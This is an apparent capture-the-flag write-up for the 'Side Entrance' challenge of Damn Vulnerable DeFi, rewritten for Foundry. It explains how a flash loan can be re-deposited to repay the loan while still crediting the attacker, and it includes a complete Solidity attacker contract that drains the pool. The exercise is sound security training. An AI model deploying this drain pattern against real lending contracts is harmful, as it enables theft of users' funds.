挑战#4 - 侧入口
In order to systematically learn solidity and foundry, I rewrote the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to communicate and build together~🎉
Contract
- SideEntranceLenderPool: Provides deposit and withdraw methods, supports flash loans
Script
- Deploy SideEntranceLenderPool contract
- Deposit ETH amount ETHER_IN_POOL into the pool
- Execute the attack script
- Expect the balance in the pool to be 0 and the player's balance to be greater than ETHER_IN_POOL
Solution
The key to solving this problem lies in deposit+withdraw. You can first obtain ETH through a flash loan, then call deposit to obtain a certificate, and finally extract ETH through withdraw after the flash loan ends. The overall process is shown in the following flowchart:
- When calling the flashLoan method of the pool,
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
will be called. Therefore, the attack contract needs to implement theexecute
method, which performs a deposit to repay the flash loan and also records a deposit certificate. - The player then calls the withdraw method to withdraw the corresponding ETH from the pool and transfer it all to the player, completing the attack.
The contract code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}